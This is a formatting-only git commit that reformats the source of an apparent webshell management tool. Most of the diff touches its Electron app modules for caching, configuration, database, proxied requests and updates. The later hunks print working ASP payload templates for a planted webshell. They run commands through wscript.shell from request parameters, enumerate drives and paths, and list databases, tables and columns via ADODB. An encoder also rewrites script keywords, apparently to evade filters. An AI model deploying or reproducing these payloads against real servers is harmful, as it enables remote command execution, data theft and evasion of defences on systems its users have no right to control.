Commit 0c4b2415 authored by Medicean's avatar Medicean

(Other: Format) 美化代码

parent a10727c3
...@@ -8,7 +8,11 @@ ...@@ -8,7 +8,11 @@
const path = require('path'); const path = require('path');
const electron = require('electron'); const electron = require('electron');
const {app, protocol, BrowserWindow} = require('electron'); const {
app,
protocol,
BrowserWindow
} = require('electron');
// 注册为标准 scheme, 默认情况下web storage apis (localStorage, sessionStorage, webSQL, // 注册为标准 scheme, 默认情况下web storage apis (localStorage, sessionStorage, webSQL,
// indexedDB, cookies) 被禁止访问非标准schemes // indexedDB, cookies) 被禁止访问非标准schemes
...@@ -16,9 +20,9 @@ protocol.registerStandardSchemes(['ant-views', 'ant-static', 'ant-src']); ...@@ -16,9 +20,9 @@ protocol.registerStandardSchemes(['ant-views', 'ant-static', 'ant-src']);
app.once('ready', () => { app.once('ready', () => {
/** /**
* 注册静态资源protocol * 注册静态资源protocol
* - 可通过注册的协议访问资源文件,如ant-static://libs/jquery.jquery.js * - 可通过注册的协议访问资源文件,如ant-static://libs/jquery.jquery.js
*/ */
[ [
[ [
'static', '/static/', 13 'static', '/static/', 13
...@@ -66,14 +70,14 @@ app.once('ready', () => { ...@@ -66,14 +70,14 @@ app.once('ready', () => {
// 窗口事件监听 // 窗口事件监听
mainWindow.on('close', (event) => { mainWindow.on('close', (event) => {
event.preventDefault(); event.preventDefault();
app.exit(0); app.exit(0);
}).on('minimize', (event) => { }).on('minimize', (event) => {
event.preventDefault(); event.preventDefault();
if (process.platform == 'darwin') { if (process.platform == 'darwin') {
app.hide(); app.hide();
} else { } else {
mainWindow.hide(); mainWindow.hide();
} }
}) })
.on('resize', reloadUI) .on('resize', reloadUI)
...@@ -96,4 +100,4 @@ app.once('ready', () => { ...@@ -96,4 +100,4 @@ app.once('ready', () => {
].map((_) => { ].map((_) => {
new(require(`./modules/${_}`))(electron, app, mainWindow); new(require(`./modules/${_}`))(electron, app, mainWindow);
}); });
}); });
\ No newline at end of file
...@@ -37,7 +37,7 @@ class Cache { ...@@ -37,7 +37,7 @@ class Cache {
* @param {String} id 数据存储文件名 * @param {String} id 数据存储文件名
* @return {[type]} [description] * @return {[type]} [description]
*/ */
createDB(id = String(+ new Date)) { createDB(id = String(+new Date)) {
return new Datastore({ return new Datastore({
filename: path.join(CONF.cachePath, id), filename: path.join(CONF.cachePath, id),
autoload: true autoload: true
...@@ -152,4 +152,4 @@ class Cache { ...@@ -152,4 +152,4 @@ class Cache {
} }
} }
module.exports = Cache; module.exports = Cache;
\ No newline at end of file
...@@ -18,10 +18,10 @@ class Conf { ...@@ -18,10 +18,10 @@ class Conf {
let _oldPath = path.join(process.env.HOME || process.env.LOCALAPPPATH || process.cwd() || '.', '.antSword', 'shell.db'); let _oldPath = path.join(process.env.HOME || process.env.LOCALAPPPATH || process.cwd() || '.', '.antSword', 'shell.db');
// 数据存储目录 // 数据存储目录
this.basePath = path.join(process.env.AS_WORKDIR, 'antData') this.basePath = path.join(process.env.AS_WORKDIR, 'antData')
// 初始化目录 // 初始化目录
!fs.existsSync(this.basePath) !fs.existsSync(this.basePath) ?
? fs.mkdirSync(this.basePath) fs.mkdirSync(this.basePath) :
: null; null;
// 旧数据搬迁 // 旧数据搬迁
if (fs.existsSync(_oldPath) && !fs.existsSync(this.dataPath)) { if (fs.existsSync(_oldPath) && !fs.existsSync(this.dataPath)) {
fs.writeFileSync(this.dataPath, fs.readFileSync(_oldPath)) fs.writeFileSync(this.dataPath, fs.readFileSync(_oldPath))
...@@ -47,9 +47,9 @@ class Conf { ...@@ -47,9 +47,9 @@ class Conf {
get cachePath() { get cachePath() {
let _ = path.join(this.basePath, '/cache/'); let _ = path.join(this.basePath, '/cache/');
// 创建缓存目录 // 创建缓存目录
!fs.existsSync(_) !fs.existsSync(_) ?
? fs.mkdirSync(_) fs.mkdirSync(_) :
: null; null;
return _; return _;
} }
...@@ -60,9 +60,9 @@ class Conf { ...@@ -60,9 +60,9 @@ class Conf {
*/ */
get plugPath() { get plugPath() {
let _ = path.join(this.basePath, '/plugins/'); let _ = path.join(this.basePath, '/plugins/');
!fs.existsSync(_) !fs.existsSync(_) ?
? fs.mkdirSync(_) fs.mkdirSync(_) :
: null; null;
return _; return _;
} }
...@@ -73,9 +73,9 @@ class Conf { ...@@ -73,9 +73,9 @@ class Conf {
*/ */
get tmpPath() { get tmpPath() {
let _ = path.join(this.basePath, '/.temp/'); let _ = path.join(this.basePath, '/.temp/');
!fs.existsSync(_) !fs.existsSync(_) ?
? fs.mkdirSync(_) fs.mkdirSync(_) :
: null; null;
return _; return _;
} }
...@@ -93,4 +93,4 @@ class Conf { ...@@ -93,4 +93,4 @@ class Conf {
} }
module.exports = new Conf(); module.exports = new Conf();
\ No newline at end of file
...@@ -23,7 +23,10 @@ class Database { ...@@ -23,7 +23,10 @@ class Database {
*/ */
constructor(electron) { constructor(electron) {
logger = new electron.Logger('Database'); logger = new electron.Logger('Database');
this.cursor = new Datastore({filename: CONF.dataPath, autoload: true}); this.cursor = new Datastore({
filename: CONF.dataPath,
autoload: true
});
// 监听事件 // 监听事件
electron electron
.ipcMain .ipcMain
...@@ -56,7 +59,7 @@ class Database { ...@@ -56,7 +59,7 @@ class Database {
Object Object
.keys(opts) .keys(opts)
.map((f) => { .map((f) => {
if (opts[f]instanceof Object) { if (opts[f] instanceof Object) {
opts[f] = self.convertOptstoNedbQuery(opts[f]); opts[f] = self.convertOptstoNedbQuery(opts[f]);
} }
if (f == "$regex") { if (f == "$regex") {
...@@ -81,7 +84,9 @@ class Database { ...@@ -81,7 +84,9 @@ class Database {
this this
.cursor .cursor
.find(opts) .find(opts)
.sort({utime: -1}) .sort({
utime: -1
})
.exec((err, ret) => { .exec((err, ret) => {
event.returnValue = ret || []; event.returnValue = ret || [];
}); });
...@@ -125,7 +130,10 @@ class Database { ...@@ -125,7 +130,10 @@ class Database {
} }
// 获取地理位置 // 获取地理位置
const _addr = qqwry.searchIP(ip); const _addr = qqwry.searchIP(ip);
return res({ip: ip, addr: `${_addr.Country} ${_addr.Area}`}); return res({
ip: ip,
addr: `${_addr.Country} ${_addr.Area}`
});
}) })
}) })
} }
...@@ -159,8 +167,8 @@ class Database { ...@@ -159,8 +167,8 @@ class Database {
decoder: opts.base['decoder'], decoder: opts.base['decoder'],
httpConf: opts.http, httpConf: opts.http,
otherConf: opts.other, otherConf: opts.other,
ctime: + new Date, ctime: +new Date,
utime: + new Date utime: +new Date
}, (_err, _ret) => { }, (_err, _ret) => {
event.returnValue = _err || _ret; event.returnValue = _err || _ret;
}); });
...@@ -205,7 +213,7 @@ class Database { ...@@ -205,7 +213,7 @@ class Database {
decoder: _new.base['decoder'], decoder: _new.base['decoder'],
httpConf: _new.http, httpConf: _new.http,
otherConf: _new.other, otherConf: _new.other,
utime: + new Date utime: +new Date
} }
}, (_err, _ret) => { }, (_err, _ret) => {
event.returnValue = _err || _ret; event.returnValue = _err || _ret;
...@@ -232,7 +240,7 @@ class Database { ...@@ -232,7 +240,7 @@ class Database {
}, { }, {
$set: { $set: {
httpConf: opt.conf, httpConf: opt.conf,
utime: + new Date utime: +new Date
} }
}, (_err, _ret) => { }, (_err, _ret) => {
event.returnValue = _err || _ret; event.returnValue = _err || _ret;
...@@ -319,7 +327,7 @@ class Database { ...@@ -319,7 +327,7 @@ class Database {
}, { }, {
$set: { $set: {
category: opts['category'] || 'default', category: opts['category'] || 'default',
utime: + new Date utime: +new Date
} }
}, { }, {
multi: true multi: true
...@@ -343,7 +351,7 @@ class Database { ...@@ -343,7 +351,7 @@ class Database {
}, (err, ret) => { }, (err, ret) => {
let confs = ret['database'] || {}; let confs = ret['database'] || {};
// 随机Id(顺序增长 // 随机Id(顺序增长
const random_id = parseInt(+ new Date + Math.random() * 1000).toString(16); const random_id = parseInt(+new Date + Math.random() * 1000).toString(16);
// 添加到配置 // 添加到配置
confs[random_id] = opts['data']; confs[random_id] = opts['data'];
// 更新数据库 // 更新数据库
...@@ -354,7 +362,7 @@ class Database { ...@@ -354,7 +362,7 @@ class Database {
}, { }, {
$set: { $set: {
database: confs, database: confs,
utime: + new Date utime: +new Date
} }
}, (_err, _ret) => { }, (_err, _ret) => {
event.returnValue = random_id; event.returnValue = random_id;
...@@ -386,7 +394,7 @@ class Database { ...@@ -386,7 +394,7 @@ class Database {
}, { }, {
$set: { $set: {
database: confs, database: confs,
utime: + new Date utime: +new Date
} }
}, (_err, _ret) => { }, (_err, _ret) => {
event.returnValue = opts['id']; event.returnValue = opts['id'];
...@@ -419,7 +427,7 @@ class Database { ...@@ -419,7 +427,7 @@ class Database {
}, { }, {
$set: { $set: {
database: confs, database: confs,
utime: + new Date utime: +new Date
} }
}, (_err, _ret) => { }, (_err, _ret) => {
event.returnValue = _err || _ret; event.returnValue = _err || _ret;
...@@ -462,11 +470,11 @@ class Database { ...@@ -462,11 +470,11 @@ class Database {
ret['plugins'] = ret['plugins'] || {}; ret['plugins'] = ret['plugins'] || {};
let confs = ret['plugins'][plugin] || {}; let confs = ret['plugins'][plugin] || {};
// 随机Id(顺序增长 // 随机Id(顺序增长
const random_id = parseInt(+ new Date + Math.random() * 1000).toString(16); const random_id = parseInt(+new Date + Math.random() * 1000).toString(16);
// 添加到配置 // 添加到配置
confs[random_id] = opts['data']; confs[random_id] = opts['data'];
let setdata = { let setdata = {
utime: + new Date utime: +new Date
} }
setdata[`plugins.${plugin}`] = confs; setdata[`plugins.${plugin}`] = confs;
...@@ -501,7 +509,7 @@ class Database { ...@@ -501,7 +509,7 @@ class Database {
// 添加到配置 // 添加到配置
confs[opts['id']] = opts['data']; confs[opts['id']] = opts['data'];
let setdata = { let setdata = {
utime: + new Date utime: +new Date
} }
setdata[`plugins.${plugin}`] = confs; setdata[`plugins.${plugin}`] = confs;
// 更新数据库 // 更新数据库
...@@ -537,7 +545,7 @@ class Database { ...@@ -537,7 +545,7 @@ class Database {
// 2. 删除配置 // 2. 删除配置
delete confs[opts['id']]; delete confs[opts['id']];
let setdata = { let setdata = {
utime: + new Date utime: +new Date
} }
setdata[`plugins.${plugin}`] = confs; setdata[`plugins.${plugin}`] = confs;
// 3. 更新数据库 // 3. 更新数据库
...@@ -574,4 +582,4 @@ class Database { ...@@ -574,4 +582,4 @@ class Database {
} }
} }
module.exports = Database; module.exports = Database;
\ No newline at end of file
...@@ -24,9 +24,9 @@ class Logger { ...@@ -24,9 +24,9 @@ class Logger {
let tm = new Date() let tm = new Date()
.toTimeString() .toTimeString()
.split(' ')[0]; .split(' ')[0];
let log = typeof logs === 'object' let log = typeof logs === 'object' ?
? JSON.stringify(logs) JSON.stringify(logs) :
: String(logs); String(logs);
return `[${tm}] ${type.toUpperCase()}::${this.tag}\t${log}`; return `[${tm}] ${type.toUpperCase()}::${this.tag}\t${log}`;
} }
...@@ -78,4 +78,4 @@ class Logger { ...@@ -78,4 +78,4 @@ class Logger {
module.exports = (win) => { module.exports = (win) => {
mainWindow = win; mainWindow = win;
return Logger; return Logger;
} }
\ No newline at end of file
This diff is collapsed.
...@@ -149,4 +149,4 @@ class PlugStore { ...@@ -149,4 +149,4 @@ class PlugStore {
} }
} }
module.exports = PlugStore; module.exports = PlugStore;
\ No newline at end of file
...@@ -12,7 +12,9 @@ const fs = require('fs'), ...@@ -12,7 +12,9 @@ const fs = require('fs'),
CONF = require('./config'), CONF = require('./config'),
superagent = require('superagent'), superagent = require('superagent'),
superagentProxy = require('superagent-proxy'); superagentProxy = require('superagent-proxy');
const {Readable} = require("stream"); const {
Readable
} = require("stream");
let logger; let logger;
// 请求UA // 请求UA
...@@ -46,9 +48,9 @@ class Request { ...@@ -46,9 +48,9 @@ class Request {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
onAproxy(event, opts) { onAproxy(event, opts) {
logger.debug('aProxy::Set Proxy Mode -', APROXY_CONF['mode'] === 'manualproxy' logger.debug('aProxy::Set Proxy Mode -', APROXY_CONF['mode'] === 'manualproxy' ?
? APROXY_CONF['uri'] APROXY_CONF['uri'] :
: 'noproxy'); 'noproxy');
APROXY_CONF['mode'] = opts['aproxymode']; APROXY_CONF['mode'] = opts['aproxymode'];
APROXY_CONF['uri'] = opts['aproxyuri']; APROXY_CONF['uri'] = opts['aproxyuri'];
...@@ -145,15 +147,17 @@ class Request { ...@@ -145,15 +147,17 @@ class Request {
.sender .sender
.send('request-chunk-' + opts['hash'], chunk); .send('request-chunk-' + opts['hash'], chunk);
}, res, (err, ret) => { }, res, (err, ret) => {
let buff = ret let buff = ret ?
? ret ret :
: Buffer.from(); Buffer.from();
// 自动猜测编码 // 自动猜测编码
let encoding = detectEncoding(buff, {defaultEncoding: "unknown"}); let encoding = detectEncoding(buff, {
defaultEncoding: "unknown"
});
logger.debug("detect encoding:", encoding); logger.debug("detect encoding:", encoding);
encoding = encoding != "unknown" encoding = encoding != "unknown" ?
? encoding encoding :
: opts['encode']; opts['encode'];
let text = iconv.decode(buff, encoding); let text = iconv.decode(buff, encoding);
if (err && text == "") { if (err && text == "") {
return event return event
...@@ -221,17 +225,19 @@ class Request { ...@@ -221,17 +225,19 @@ class Request {
.sender .sender
.send('request-error-' + opts['hash'], err); .send('request-error-' + opts['hash'], err);
} }
let buff = ret.hasOwnProperty('body') let buff = ret.hasOwnProperty('body') ?
? ret.body ret.body :
: Buffer.from(); Buffer.from();
// 解码 // 解码
let text = ""; let text = "";
// 自动猜测编码 // 自动猜测编码
let encoding = detectEncoding(buff, {defaultEncoding: "unknown"}); let encoding = detectEncoding(buff, {
defaultEncoding: "unknown"
});
logger.debug("detect encoding:", encoding); logger.debug("detect encoding:", encoding);
encoding = encoding != "unknown" encoding = encoding != "unknown" ?
? encoding encoding :
: opts['encode']; opts['encode'];
text = iconv.decode(buff, encoding); text = iconv.decode(buff, encoding);
if (err && text == "") { if (err && text == "") {
return event return event
...@@ -416,16 +422,16 @@ class Request { ...@@ -416,16 +422,16 @@ class Request {
let index_s = chunkHex.indexOf(tagHexS); let index_s = chunkHex.indexOf(tagHexS);
let index_e = chunkHex.lastIndexOf(tagHexE); let index_e = chunkHex.lastIndexOf(tagHexE);
temp = chunkHex.substr(index_s + tagHexS.length, index_e - index_s - tagHexE.length); temp = chunkHex.substr(index_s + tagHexS.length, index_e - index_s - tagHexE.length);
foundTagS = foundTagE =// 如果只包含前截断,则截取后边 foundTagS = foundTagE = // 如果只包含前截断,则截取后边
true; true;
} else if (chunkHex.indexOf(tagHexS) >= 0 && chunkHex.lastIndexOf(tagHexE) === -1) { } else if (chunkHex.indexOf(tagHexS) >= 0 && chunkHex.lastIndexOf(tagHexE) === -1) {
temp = chunkHex.split(tagHexS)[1]; temp = chunkHex.split(tagHexS)[1];
foundTagS =// 如果只包含后截断,则截取前边 foundTagS = // 如果只包含后截断,则截取前边
true; true;
} else if (chunkHex.indexOf(tagHexS) === -1 && chunkHex.lastIndexOf(tagHexE) >= 0) { } else if (chunkHex.indexOf(tagHexS) === -1 && chunkHex.lastIndexOf(tagHexE) >= 0) {
temp = chunkHex.split(tagHexE)[0]; temp = chunkHex.split(tagHexE)[0];
foundTagE =// 如果有没有,那就是中途迷路的数据啦 ^.^ foundTagE = // 如果有没有,那就是中途迷路的数据啦 ^.^
true; true;
} else if (foundTagS && !foundTagE) { } else if (foundTagS && !foundTagE) {
temp = chunkHex; temp = chunkHex;
} }
...@@ -465,29 +471,29 @@ function detectEncoding(buffer, options) { ...@@ -465,29 +471,29 @@ function detectEncoding(buffer, options) {
var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING; var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING;
var minConfidence = options.minConfidence || MIN_CONFIDENCE; var minConfidence = options.minConfidence || MIN_CONFIDENCE;
var ret = jschardet.detect(buffer), var ret = jschardet.detect(buffer),
encoding = ret.encoding === 'ascii' encoding = ret.encoding === 'ascii' ?
? 'utf-8' 'utf-8' :
: ret.encoding, ret.encoding,
confidence = ret.confidence; confidence = ret.confidence;
// var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp']; // var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp'];
if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) { if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) {
return verbose return verbose ?
? { {
encoding: defaultEncoding, encoding: defaultEncoding,
oriEncoding: encoding, oriEncoding: encoding,
confidence: confidence confidence: confidence
} } :
: defaultEncoding; defaultEncoding;
} else { } else {
encoding = encoding.toUpperCase(); encoding = encoding.toUpperCase();
return verbose return verbose ?
? { {
encoding: encoding, encoding: encoding,
oriEncoding: encoding, oriEncoding: encoding,
confidence: confidence confidence: confidence
} } :
: encoding; encoding;
} }
}; };
...@@ -503,15 +509,15 @@ class AntRead extends Readable { ...@@ -503,15 +509,15 @@ class AntRead extends Readable {
super(); super();
this.index = 0; this.index = 0;
let o = {}; let o = {};
o.step = options.hasOwnProperty('step') o.step = options.hasOwnProperty('step') ?
? parseInt(options['step']) parseInt(options['step']) :
: 2; 2;
o.step = o.step < 1 o.step = o.step < 1 ?
? 2 2 :
: o.step; o.step;
o.stepmax = options.hasOwnProperty('stepmax') o.stepmax = options.hasOwnProperty('stepmax') ?
? options['stepmax'] options['stepmax'] :
: o.step; o.step;
if (o.stepmax < o.step) { if (o.stepmax < o.step) {
o.stepmax = o.step; o.stepmax = o.step;
} }
...@@ -563,4 +569,4 @@ class AntRead extends Readable { ...@@ -563,4 +569,4 @@ class AntRead extends Readable {
} }
} }
module.exports = Request; module.exports = Request;
\ No newline at end of file
...@@ -201,7 +201,11 @@ class Update { ...@@ -201,7 +201,11 @@ class Update {
// TODO: 需不需要备份? // TODO: 需不需要备份?
// TODO: 删除原来的 node_modules 目录 解压数据 // TODO: 删除原来的 node_modules 目录 解压数据
tar tar
.x({file: savePath, strip: 1, C: process.env.AS_WORKDIR}) .x({
file: savePath,
strip: 1,
C: process.env.AS_WORKDIR
})
.then(_ => { .then(_ => {
that that
.logger .logger
...@@ -222,4 +226,4 @@ class Update { ...@@ -222,4 +226,4 @@ class Update {
} }
} }
module.exports = Update; module.exports = Update;
\ No newline at end of file
This diff is collapsed.
...@@ -16,9 +16,9 @@ class CacheManager { ...@@ -16,9 +16,9 @@ class CacheManager {
id: this.id, id: this.id,
tag: tag tag: tag
}); });
return ret return ret ?
? ret['cache'] ret['cache'] :
: false; false;
} }
// 更新缓存 // 更新缓存
...@@ -40,9 +40,11 @@ class CacheManager { ...@@ -40,9 +40,11 @@ class CacheManager {
// 清空缓存 // 清空缓存
clear() { clear() {
return this.sender('cache-clear', {id: this.id}); return this.sender('cache-clear', {
id: this.id
});
} }
} }
module.exports = CacheManager; module.exports = CacheManager;
\ No newline at end of file
...@@ -29,32 +29,32 @@ class Decodes { ...@@ -29,32 +29,32 @@ class Decodes {
var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING; var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING;
var minConfidence = options.minConfidence || MIN_CONFIDENCE; var minConfidence = options.minConfidence || MIN_CONFIDENCE;
var ret = jschardet.detect(buffer), var ret = jschardet.detect(buffer),
encoding = ret.encoding === 'ascii' encoding = ret.encoding === 'ascii' ?
? 'utf-8' 'utf-8' :
: ret.encoding, ret.encoding,
confidence = ret.confidence; confidence = ret.confidence;
// var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp']; // var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp'];
if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) { if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) {
return verbose return verbose ?
? { {
encoding: defaultEncoding, encoding: defaultEncoding,
oriEncoding: encoding, oriEncoding: encoding,
confidence: confidence confidence: confidence
} } :
: defaultEncoding; defaultEncoding;
} else { } else {
encoding = encoding.toUpperCase(); encoding = encoding.toUpperCase();
return verbose return verbose ?
? { {
encoding: encoding, encoding: encoding,
oriEncoding: encoding, oriEncoding: encoding,
confidence: confidence confidence: confidence
} } :
: encoding; encoding;
} }
} }
} }
module.exports = Decodes; module.exports = Decodes;
\ No newline at end of file
...@@ -14,4 +14,4 @@ const ENCODES = [ ...@@ -14,4 +14,4 @@ const ENCODES = [
'Windows-874', 'Windows-874',
'Windows-1251' 'Windows-1251'
]; ];
module.exports = ENCODES; module.exports = ENCODES;
\ No newline at end of file
...@@ -58,4 +58,4 @@ class Menubar { ...@@ -58,4 +58,4 @@ class Menubar {
} }
module.exports = Menubar; module.exports = Menubar;
\ No newline at end of file
...@@ -7,10 +7,10 @@ ...@@ -7,10 +7,10 @@
'use strict'; 'use strict';
/* /*
* @param {String} pwd 连接密码 * @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组 * @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组
*/ */
module.exports = (pwd, data) => { module.exports = (pwd, data) => {
let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function ($, $1) { let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function ($, $1) {
// asunescape(%) 表示括号内的内容不会被 URL 编码 // asunescape(%) 表示括号内的内容不会被 URL 编码
......
...@@ -87,4 +87,4 @@ class ASP extends Base { ...@@ -87,4 +87,4 @@ class ASP extends Base {
} }
} }
module.exports = ASP; module.exports = ASP;
\ No newline at end of file
...@@ -4,10 +4,12 @@ ...@@ -4,10 +4,12 @@
*/ */
module.exports = () => ({ module.exports = () => ({
info: info: {
`Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)`, _: `Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)`
},
probedb: // 检测数据库函数支持 probedb: // 检测数据库函数支持
`Function fe(strobj): {
_: `Function fe(strobj):
on error resume next: on error resume next:
fe=0: fe=0:
server.CreateObject(strobj): server.CreateObject(strobj):
...@@ -17,5 +19,6 @@ module.exports = () => ({ ...@@ -17,5 +19,6 @@ module.exports = () => ({
m=split(m,"|"): m=split(m,"|"):
for i=0 to ubound(m): for i=0 to ubound(m):
Response.Write(m(i)&chr(9)&fe(m(i))&chr(10)): Response.Write(m(i)&chr(9)&fe(m(i))&chr(10)):
next:`.replace(/\n\s+/g, ''), next:`.replace(/\n\s+/g, '')
}) },
})
\ No newline at end of file
...@@ -4,14 +4,12 @@ ...@@ -4,14 +4,12 @@
module.exports = (arg1, arg2) => ({ module.exports = (arg1, arg2) => ({
exec: { exec: {
_: _: `Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`,
`Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`,
[arg1]: "#{hex::bin}", [arg1]: "#{hex::bin}",
[arg2]: "#{hex::cmd}" [arg2]: "#{hex::cmd}"
}, },
listcmd: { listcmd: {
_: _: `AA=Split(""&bd(Request("${arg1}"))&"",","):
`AA=Split(""&bd(Request("${arg1}"))&"",","):
Set FS=CreateObject("Scripting.FileSystemObject"): Set FS=CreateObject("Scripting.FileSystemObject"):
For Each A in AA: For Each A in AA:
Response.Write(A&chr(9)): Response.Write(A&chr(9)):
...@@ -25,4 +23,4 @@ module.exports = (arg1, arg2) => ({ ...@@ -25,4 +23,4 @@ module.exports = (arg1, arg2) => ({
`.replace(/\n\s+/g, ''), `.replace(/\n\s+/g, ''),
[arg1]: "#{hex::binarr}", [arg1]: "#{hex::binarr}",
} }
}) })
\ No newline at end of file
...@@ -5,29 +5,25 @@ ...@@ -5,29 +5,25 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库 // 显示所有数据库
show_databases: { show_databases: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
// [arg2]: '#{dbname}' // [arg2]: '#{dbname}'
}, },
// 显示数据库所有表 // 显示数据库所有表
show_tables: { show_tables: {
_: _: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
}, },
// 显示表字段 // 显示表字段
show_columns: { show_columns: {
_: _: `Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
`Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}', [arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}' [arg2]: '#{hex::table}'
}, },
// 执行SQL语句 // 执行SQL语句
query: { query: {
